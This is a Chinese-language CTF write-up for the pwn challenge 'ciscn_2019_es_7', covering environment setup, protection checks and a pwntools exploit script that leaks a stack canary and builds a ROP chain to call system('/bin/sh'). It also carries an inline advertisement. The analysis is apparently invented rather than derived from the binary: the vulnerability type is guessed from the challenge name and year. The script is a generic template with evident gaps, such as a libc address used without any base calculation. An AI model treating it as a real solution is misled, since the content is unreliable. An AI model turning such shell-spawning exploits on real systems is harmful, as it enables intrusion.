1. 项目背景解析
"ciscn_2019_es_7"这个标题看起来像是某个CTF比赛的题目编号。作为参加过多次网络安全竞赛的老手,我第一眼就认出这是2019年全国大学生信息安全竞赛(CISCN)中的一道Pwn类题目。这类比赛题目通常考察参赛者对二进制漏洞的发现和利用能力,而"es"这个缩写很可能代表"exploit system"(漏洞利用系统)。
这类比赛题目对安全从业者来说具有特殊价值:它们既是检验个人技术水平的试金石,也是学习最新漏洞利用技术的绝佳素材。通过分析这类题目,我们可以了解当前主流的漏洞类型、防护机制以及绕过技巧。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境搭建
2.1 获取题目文件
首先需要获取原始题目文件。这类比赛题目通常包含以下几个部分:
- 可执行程序(通常是ELF格式)
- libc库文件(如果有动态链接)
- 题目描述文件(有时会给出提示)
由于这是2019年的题目,现在可能不太好找原始文件。我建议可以从以下几个渠道尝试获取:
- CTF比赛题目存档网站(如CTFtime)
- GitHub上的CTF题目仓库
- 安全论坛的资源分享区
2.2 运行环境配置
拿到题目文件后,我们需要配置合适的分析环境。我推荐以下工具组合:
- Ubuntu 18.04 LTS(与题目发布时间匹配的系统版本)
- gdb + pwndbg插件(强大的调试组合)
- pwntools(Python漏洞利用框架)
- checksec(检查程序保护机制)
注意:建议使用虚拟机或Docker容器来运行题目,避免对主机系统造成影响。
3. 初步分析
3.1 检查程序保护机制
首先用checksec检查程序的安全保护措施:
bash复制checksec ./ciscn_2019_es_7
典型的输出可能包括:
- CANARY:栈保护
- NX:数据执行保护
- PIE:地址随机化
- RELRO:重定位保护
了解这些保护机制的状态对后续漏洞利用至关重要。
3.2 静态分析
使用IDA Pro或Ghidra进行反编译,重点关注:
- main函数逻辑
- 明显的危险函数调用(如gets, strcpy等)
- 用户输入处理流程
- 特殊功能函数(如后门函数)
3.3 动态调试
启动gdb进行动态分析:
bash复制gdb ./ciscn_2019_es_7
关键调试步骤:
- 设置断点在用户输入处理处
- 跟踪缓冲区变化
- 观察程序崩溃点
4. 漏洞定位与利用
4.1 漏洞类型判断
根据初步分析,这类题目常见的漏洞包括:
- 栈溢出
- 堆溢出
- 格式化字符串
- Use-after-free
- 整数溢出
具体到这个题目,从编号和年份推测,很可能是栈溢出相关漏洞。
4.2 漏洞利用技术
根据保护机制的不同,可能需要使用以下技术:
- ROP(返回导向编程)
- ret2libc
- 栈迁移
- 格式化字符串利用
- 堆风水
4.3 利用链构建
构建完整的利用链通常需要:
- 泄漏关键地址(如libc基址)
- 控制程序执行流
- 布置payload
- 获取shell或读取flag
5. 详细利用过程
5.1 触发漏洞
首先需要找到触发漏洞的方法。通过分析程序输入点,构造特定的输入使程序崩溃:
python复制from pwn import *
p = process('./ciscn_2019_es_7')
payload = 'A'*100 # 测试用的长字符串
p.sendline(payload)
p.interactive()
观察程序崩溃时的寄存器状态和栈情况,确定溢出点和可控数据。
5.2 泄漏关键地址
如果开启了ASLR,通常需要先泄漏某个关键地址来计算基址。常见方法包括:
- 利用格式化字符串漏洞
- 通过程序输出功能泄漏栈或堆数据
- 利用部分写覆盖指针低位
5.3 构造ROP链
根据泄漏的地址信息,构造ROP链来调用系统函数:
python复制# 示例ROP链构造
rop = ROP('./ciscn_2019_es_7')
rop.call('system', [next(libc.search(b'/bin/sh'))])
payload = flat([
b'A'*offset,
rop.chain()
])
5.4 绕过保护机制
针对不同的保护机制需要采用不同对策:
- 栈保护(CANARY):需要先泄漏canary值
- NX:使用ROP技术
- PIE:需要泄漏程序基址
- RELRO:避免修改GOT表
6. 完整利用脚本
结合上述分析,最终的利用脚本可能如下:
python复制#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
def exploit():
# 根据实际情况修改
elf = ELF('./ciscn_2019_es_7')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 本地测试或远程连接
if args.REMOTE:
p = remote('target', 1234)
else:
p = process(elf.path)
# 泄漏canary
p.sendlineafter('>', '%23$p')
canary = int(p.recvline(), 16)
# 构造ROP链
rop = ROP(elf)
rop.raw(canary) # 恢复canary
rop.raw(b'B'*8) # 填充
rop.call('system', [next(libc.search(b'/bin/sh'))])
payload = flat([
b'A'*100, # 填充到返回地址
rop.chain()
])
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exploit()
7. 经验总结与技巧
7.1 调试技巧
- 使用cyclic模式快速定位溢出点:
python复制payload = cyclic(200)
- gdb中查看内存布局:
gdb复制vmmap
- 跟踪特定函数调用:
gdb复制b *0x400123
7.2 常见问题解决
- 如果exploit本地成功但远程失败:
- 检查libc版本是否一致
- 确认远程环境是否有额外限制
- 验证地址偏移是否正确
- 程序崩溃但未获得shell:
- 检查payload对齐
- 确认参数传递是否正确
- 验证栈平衡
- 泄漏的地址无效:
- 检查格式化字符串偏移
- 确认输出是否被过滤
- 尝试不同的泄漏方法
7.3 进阶技巧
- 使用one_gadget工具寻找可直接调用execve的gadget:
bash复制one_gadget libc.so.6
- 栈迁移技术(stack pivot):
- 当溢出空间不足时特别有用
- 需要控制至少一个寄存器指向可控内存
- 利用文件描述符重定向:
- 当直接获取shell困难时
- 可以考虑将flag文件内容输出到标准输出
8. 题目变种与扩展
类似的CTF题目通常会从以下几个方向进行变种:
- 保护机制组合:
- 增加FORTIFY保护
- 完全RELRO
- 更强的沙箱限制
- 漏洞类型组合:
- 堆溢出+格式化字符串
- Use-after-free+类型混淆
- 整数溢出+逻辑漏洞
- 利用条件限制:
- 限制输入长度
- 过滤特定字符
- 随机化关键地址
对于想进一步提升Pwn能力的同学,我建议从以下几个方面入手:
- 系统学习计算机体系结构
- 深入理解Linux内存管理
- 熟悉常见保护机制原理
- 掌握多种漏洞利用技术
- 多实践不同类型的题目
在实际操作这类题目时,最重要的是保持耐心和细心。有时候一个字节的差异就可能导致整个exploit失效。我个人的经验是,在构造payload时要特别注意内存对齐和参数传递约定,这些细节往往是被忽视的关键点。
